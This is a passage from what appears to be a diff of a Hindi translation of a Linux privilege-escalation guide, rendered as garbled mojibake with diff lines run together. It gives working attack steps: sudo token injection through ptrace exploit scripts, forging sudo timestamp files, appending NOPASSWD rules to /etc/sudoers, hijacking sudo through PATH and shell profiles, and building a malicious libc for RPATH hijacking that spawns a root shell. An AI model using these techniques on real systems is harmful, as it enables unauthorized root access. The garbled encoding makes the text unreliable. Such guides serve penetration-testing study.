рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП +- `gdb` рдЙрдкрд▓рдмреНрдз рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (рдЖрдк рдЗрд╕реЗ upload рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВ) -(рдЖрдк рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ `ptrace_scope` рдХреЛ `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` рдХреЗ рд╕рд╛рде рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ `/etc/sysctl.d/10-ptrace.conf` рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рдФрд░ `kernel.yama.ptrace_scope = 0` рд╕реЗрдЯ рдХрд░рдХреЗ) +(рдЖрдк рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ `ptrace_scope` рдХреЛ рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` рдХрдорд╛рдВрдб рд╕реЗ рдпрд╛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ `/etc/sysctl.d/10-ptrace.conf` рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рдФрд░ `kernel.yama.ptrace_scope = 0` рд╕реЗрдЯ рдХрд░рдХреЗ) -рдпрджрд┐ рдпреЗ рд╕рднреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ рдкреВрд░реА рд╣реИрдВ, рддреЛ **рдЖрдк рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ privileges escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +рдпрджрд┐ рдпреЗ рд╕рднреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ рдкреВрд░реА рд╣реЛрддреА рд╣реИрдВ, **рдЖрдк рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ privileges escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- рдкрд╣рд▓рд╛ **exploit** (`exploit.sh`) рдмрд╛рдЗрдирд░реА `activate_sudo_token` рдХреЛ _/tmp_ рдореЗрдВ рдмрдирд╛рдПрдЧрд╛ред рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдкрдиреЗ session рдореЗрдВ **sudo token рдХреЛ activate рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдкрдХреЛ рд╕реНрд╡рддрдГ рд╣реА root shell рдирд╣реАрдВ рдорд┐рд▓реЗрдЧрд╛, `sudo su` рдХрд░реЗрдВ): +- рдкрд╣рд▓рд╛ **exploit** (`exploit.sh`) рдмрд╛рдЗрдирд░реА `activate_sudo_token` рдХреЛ _/tmp_ рдореЗрдВ рдмрдирд╛рдПрдЧрд╛ред рдЖрдк рдЗрд╕реЗ рдЕрдкрдиреЗ session рдореЗрдВ **sudo token activate рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдкрдХреЛ рд╕реНрд╡рддрдГ root shell рдирд╣реАрдВ рдорд┐рд▓реЗрдЧрд╛, `sudo su` рдХрд░реЗрдВ): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- рдпрд╣ **рджреВрд╕рд░рд╛ exploit** (`exploit_v2.sh`) _/tmp_ рдореЗрдВ рдПрдХ sh shell рдмрдирд╛рдПрдЧрд╛ **root рдХреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдореЗрдВ рдФрд░ setuid рдХреЗ рд╕рд╛рде** +- **рджреВрд╕рд░рд╛ exploit** (`exploit_v2.sh`) _/tmp_ рдореЗрдВ рдПрдХ sh shell рдмрдирд╛рдПрдЧрд╛ рдЬреЛ **root рдХреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╡рд╛рд▓рд╛ рдФрд░ setuid рд╕реЗрдЯ рдХрд┐рдпрд╛ рд╣реБрдЖ** рд╣реЛрдЧрд╛ ```bash bash exploit_v2.sh /tmp/sh -p ``` -- рдпрд╣ **рддреАрд╕рд░рд╛ exploit** (`exploit_v3.sh`) **рдПрдХ sudoers file рдмрдирд╛рдПрдЧрд╛** рдЬреЛ **sudo tokens рдХреЛ рд╕реНрдерд╛рдпреА рдмрдирд╛ рджреЗрдЧрд╛ рдФрд░ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ sudo рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛** +- **рддреАрд╕рд░рд╛ exploit** (`exploit_v3.sh`) **рдПрдХ sudoers рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдЧрд╛** рдЬреЛ **sudo tokens рдХреЛ рд╕реНрдерд╛рдпреА рдмрдирд╛рдХрд░ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ sudo рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдпрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рдмрдирд╛рдП рдЧрдП рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдкрд░ **write permissions** рд╣реИрдВ, рддреЛ рдЖрдк рдмрд╛рдЗрдирд░реА [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА user рдФрд░ PID рдХреЗ рд▓рд┐рдП **sudo token** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред\ -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЕрдЧрд░ рдЖрдк рдлрд╝рд╛рдЗрд▓ _/var/run/sudo/ts/sampleuser_ рдХреЛ overwrite рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрд╕ user рдХреЗ рд░реВрдк рдореЗрдВ PID 1234 рдХреЗ рд╕рд╛рде рдПрдХ shell рд╣реИ, рддреЛ рдЖрдк рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдиреЗ рдмрд┐рдирд╛ **obtain sudo privileges** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ: +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдпрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рдмрдирд╛рдП рдЧрдП рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдкрд░ **write permissions** рд╣реИрдВ, рддреЛ рдЖрдк рдмрд╛рдЗрдирд░реА [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **create a sudo token for a user and PID** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ.\ +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдлрд╝рд╛рдЗрд▓ _/var/run/sudo/ts/sampleuser_ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕ user рдХреЗ рд░реВрдк рдореЗрдВ PID 1234 рдХреЗ рд╕рд╛рде рдЖрдкрдХреА рдПрдХ shell рд╣реИ, рддреЛ рдЖрдк рдмрд┐рдирд╛ password рдЬрд╛рдиреЗ **obtain sudo privileges** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдРрд╕рд╛ рдХрд░рдХреЗ: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -рдлрд╝рд╛рдЗрд▓ `/etc/sudoers` рдФрд░ `/etc/sudoers.d` рдХреЗ рдЕрдВрджрд░ рдХреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рддреА рд╣реИрдВ рдХрд┐ рдХреМрди `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХреИрд╕реЗред рдпреЗ рдлрд╝рд╛рдЗрд▓реЗрдВ **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдХреЗрд╡рд▓ user root рдФрд░ group root рджреНрд╡рд╛рд░рд╛ рд╣реА рдкрдврд╝реА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ**.\ -**If** рдЖрдк рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ **read** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк **рдХреБрдЫ рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**, рдФрд░ рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ **write** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк **escalate privileges** рдХрд░ рдкрд╛рдПрдБрдЧреЗред +рдлрд╝рд╛рдЗрд▓ `/etc/sudoers` рдФрд░ `/etc/sudoers.d` рдХреЗ рдЕрдВрджрд░ рдХреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддреА рд╣реИрдВ рдХрд┐ рдХреМрди `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХреИрд╕реЗред рдпреЗ рдлрд╝рд╛рдЗрд▓реЗрдВ **by default can only be read by user root and group root**.\ +**рдпрджрд┐** рдЖрдк рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ **read** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк **рдХреБрдЫ рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**, рдФрд░ рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдХреЛ **write** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк **escalate privileges** рдХрд░ рдкрд╛рдПрдБрдЧреЗред ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1023,7 +1020,7 @@ ls -ld /etc/sudoers.d/ echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -рдЗрди permissions рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛: +рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1032,15 +1029,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -OpenBSD рдХреЗ рд▓рд┐рдП `sudo` рдмрд╛рдЗрдирд░реА рдХреЗ рдХреБрдЫ рд╡рд┐рдХрд▓реНрдк рд╣реИрдВ, рдЬреИрд╕реЗ `doas` тАФ рдЗрд╕рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ `/etc/doas.conf` рдкрд░ рдЬрд╝рд░реВрд░ рдЬрд╛рдВрдЪреЗрдВ +`sudo` рдмрд╛рдЗрдирд░реА рдХреЗ рдХреБрдЫ рд╡рд┐рдХрд▓реНрдк рд╣реЛрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ OpenBSD рдХреЗ рд▓рд┐рдП `doas` тАФ рдЗрд╕рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди `/etc/doas.conf` рдореЗрдВ рдЬрд╛рдБрдЪ рдХрд░рдирд╛ рди рднреВрд▓реЗрдВред ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -рдпрджрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдХрд┐рд╕реА рдорд╢реАрди рд╕реЗ рдХрдиреЗрдХреНрдЯ рд╣реЛрддрд╛ рд╣реИ рдФрд░ privileges рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ** рдФрд░ рдЖрдкрдиреЗ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ context рдореЗрдВ рдПрдХ shell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ, рддреЛ рдЖрдк **рдПрдХ рдирдпрд╛ sudo executable рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ** рдЬреЛ рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХрд╛ рдХреЛрдб root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд╛рд▓рд╛рдпреЗрдЧрд╛ рдФрд░ рдлрд┐рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ command рдЪрд▓рд╛рдпреЗрдЧрд╛ред рдлрд┐рд░, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ context рдХрд╛ **$PATH** рдмрджрд▓реЗрдВ (рдЙрджрд╛. рдирдП path рдХреЛ .bash_profile рдореЗрдВ рдЬреЛрдбрд╝рдХрд░) рддрд╛рдХрд┐ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `sudo` рдЪрд▓рд╛рдпреЗ рддреЛ рдЖрдкрдХрд╛ sudo executable рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдпред +рдпрджрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ **user рдЖрдо рддреМрд░ рдкрд░ рдХрд┐рд╕реА machine рд╕реЗ connect рд╣реЛрддрд╛ рд╣реИ рдФрд░ `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ privileges escalate рдХрд░рддрд╛ рд╣реИ** рдФрд░ рдЖрдкрдиреЗ рдЙрд╕ user context рдореЗрдВ рдПрдХ shell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ, рддреЛ рдЖрдк **рдПрдХ рдирдпрд╛ sudo executable рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ** рдЬреЛ рдкрд╣рд▓реЗ рдЖрдкрдХреЗ рдХреЛрдб рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рдПрдЧрд╛ рдФрд░ рдлрд┐рд░ user рдХрд╛ command рдЪрд▓рд╛рдПрдЧрд╛ред рдлрд┐рд░, user context рдХрд╛ **$PATH** рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдирдИ path рдХреЛ .bash_profile рдореЗрдВ рдЬреЛрдбрд╝рдХрд░) рддрд╛рдХрд┐ рдЬрдм user `sudo` рдЪрд▓рд╛рдП рддреЛ рдЖрдкрдХрд╛ sudo executable рд╣реА execute рд╣реЛред -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛрдИ рдЕрд▓рдЧ shell (bash рдирд╣реАрдВ) рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рддреЛ рдЖрдкрдХреЛ рдирдП path рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдлрд╛рдЗрд▓реЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреА рдкрдбрд╝ рд╕рдХрддреА рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЖрдк рдПрдХ рдФрд░ рдЙрджрд╛рд╣рд░рдг [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ user рдХреЛрдИ рдЕрд▓рдЧ shell рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ (bash рдирд╣реАрдВ) рддреЛ рдЖрдкрдХреЛ рдирдИ path рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреА рдкрдбрд╝реЗрдВрдЧреАред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. рдЖрдк рдПрдХ рдФрд░ рдЙрджрд╛рд╣рд░рдг [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╛ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рдЪрд▓рд╛рдХрд░: ```bash @@ -1061,12 +1058,13 @@ sudo ls ### ld.so -рдлрд╝рд╛рдЗрд▓ `/etc/ld.so.conf` рдмрддрд╛рддреА рд╣реИ рдХрд┐ **where the loaded configurations files are from**ред рдЖрдо рддреМрд░ рдкрд░, рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдирд┐рдореНрди рдкрдВрдХреНрддрд┐ рд╣реЛрддреА рд╣реИ: `include /etc/ld.so.conf.d/*.conf` +рдлрд╝рд╛рдЗрд▓ `/etc/ld.so.conf` рдпрд╣ рджрд░реНрд╢рд╛рддреА рд╣реИ рдХрд┐ **рд▓реМрдб рдХреА рдЧрдИ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЗрдВ рдХрд╣рд╛рдБ рд╕реЗ рдЖ рд░рд╣реА рд╣реИрдВ**ред рдЖрдо рддреМрд░ рдкрд░, рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдирд┐рдореНрди path рд╣реЛрддрд╛ рд╣реИ: `include /etc/ld.so.conf.d/*.conf` -рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ `/etc/ld.so.conf.d/*.conf` рд╕реЗ configuration рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝реА рдЬрд╛рдПрдБрдЧреАред рдпреЗ configuration рдлрд╝рд╛рдЗрд▓реЗрдВ рдЙрди рдЕрдиреНрдп рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рдУрд░ рд╕рдВрдХреЗрдд рдХрд░рддреА рд╣реИрдВ рдЬрд╣рд╛рдБ **libraries** рдЦреЛрдЬреА рдЬрд╛рдПрдБрдЧреАред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `/etc/ld.so.conf.d/libc.conf` рдХреА рд╕рд╛рдордЧреНрд░реА `/usr/local/lib` рд╣реИред **рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо `/usr/local/lib` рдХреЗ рдЕрдВрджрд░ libraries рдХреА рдЦреЛрдЬ рдХрд░реЗрдЧрд╛**ред +рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ `/etc/ld.so.conf.d/*.conf` рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝реА рдЬрд╛рдПрдБрдЧреАред рдпреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЗрдВ рдЙрди рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреА рд╣реИрдВ рдЬрд╣рд╛рдБ **рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝** рдХреЛ **рдЦреЛрдЬрд╛** рдЬрд╛рдПрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `/etc/ld.so.conf.d/libc.conf` рдХреА рд╕рд╛рдордЧреНрд░реА `/usr/local/lib` рд╣реИред **рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо `/usr/local/lib` рдХреЗ рдЕрдВрджрд░ рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рдХреА рдЦреЛрдЬ рдХрд░реЗрдЧрд╛**ред + +рдпрджрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рд╕рдВрдХреЗрдд рдХрд┐рдП рдЧрдП рдХрд┐рд╕реА рднреА path рдкрд░ **рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐** рд╣реЛ: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` рдХреЗ рдЕрдВрджрд░ рдХреЛрдИ рднреА рдлрд╝рд╛рдЗрд▓ рдпрд╛ `/etc/ld.so.conf.d/*.conf` рдореЗрдВ рдЙрд▓реНрд▓рд┐рдЦрд┐рдд рдХреЛрдИ рднреА рдлрд╝реЛрд▓реНрдбрд░, рддреЛ рд╡рд╣ privileges escalate рдХрд░ рд╕рдХрддрд╛ рд╣реИ.\ +рдирд┐рдореНрди рдкреЗрдЬ рдореЗрдВ рджреЗрдЦреЗрдВ рдХрд┐ **how to exploit this misconfiguration**: -рдпрджрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ рдХрд┐рд╕реА рднреА рдмрддрд╛рдП рдЧрдП рдкрде рдкрд░ **a user has write permissions**: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` рдХреЗ рдЕрдВрджрд░ рдХреЛрдИ рднреА рдлрд╝рд╛рдЗрд▓ рдпрд╛ `/etc/ld.so.conf.d/*.conf` рдХреЗ рдЕрдВрджрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдмрддрд╛рдП рдЧрдП рдХрд┐рд╕реА рднреА рдлрд╝реЛрд▓реНрдбрд░ рдкрд░, рддреЛ рд╡рд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдВрднрд╡рддрдГ escalate privileges рдХрд░ рд╕рдХрддрд╛ рд╣реИ.\ -рдирд┐рдореНрди рдкреГрд╖реНрда рдореЗрдВ рджреЗрдЦреЗрдВ рдХрд┐ **how to exploit this misconfiguration**: {{#ref}} ld.so.conf-example.md @@ -1083,7 +1081,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib рдХреЛ `/var/tmp/flag15/` рдореЗрдВ рдХреЙрдкреА рдХрд░рдиреЗ рдкрд░, рдЗрд╕реЗ `RPATH` рд╡реИрд░рд┐рдПрдмрд▓ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЗрд╕ рд╕реНрдерд╛рди рдкрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдо рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред +lib рдХреЛ `/var/tmp/flag15/` рдореЗрдВ рдХреЙрдкреА рдХрд░рдиреЗ рдкрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЗрд╕реЗ `RPATH` рд╡реЗрд░рд┐рдПрдмрд▓ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЗрд╕ рд╕реНрдерд╛рди рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1092,7 +1090,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -рдлрд┐рд░ `/var/tmp` рдореЗрдВ рдПрдХ evil library рдмрдирд╛рдПрдВ: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +рдлрд┐рд░ `/var/tmp` рдореЗрдВ `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдмрдирд╛рдПрдВред ```c #include #define SHELL "/bin/sh" @@ -1105,10 +1103,11 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## рдХреНрд╖рдорддрд╛рдПрдБ + +Linux capabilities рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЙрдкрд▓рдмреНрдз **root privileges рдХрд╛ subset** рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВред рдпрд╣ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ root рдХреЛ **рдЫреЛрдЯреЗ рдФрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдпреВрдирд┐рдЯреНрд╕ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд** рдХрд░ рджреЗрддрд╛ рд╣реИред рдЗрди рдпреВрдирд┐рдЯреНрд╕ рдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдХреЛ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ processes рдХреЛ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдкреВрд░реЗ privileges рдХрд╛ рд╕реЗрдЯ рдХрдо рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ exploitation рдХреЗ рдЬреЛрдЦрд┐рдо рдШрдЯрддреЗ рд╣реИрдВ.\ +рдиреАрдЪреЗ рджреА рдЧрдИ рдкреГрд╖реНрда рдХреЛ рдкрдврд╝реЗрдВ рддрд╛рдХрд┐ рдЖрдк **capabilities рдФрд░ рдЙрдиреНрд╣реЗрдВ рдХреИрд╕реЗ abuse рдХрд░рдирд╛ рд╣реИ** рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЬрд╛рди рд╕рдХреЗрдВ: -Linux capabilities рдХрд┐рд╕реА process рдХреЛ рдЙрдкрд▓рдмреНрдз root privileges рдХрд╛ рдПрдХ рдЙрдкрд╕рдореВрд╣ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ root **privileges into smaller and distinctive units** рдореЗрдВ 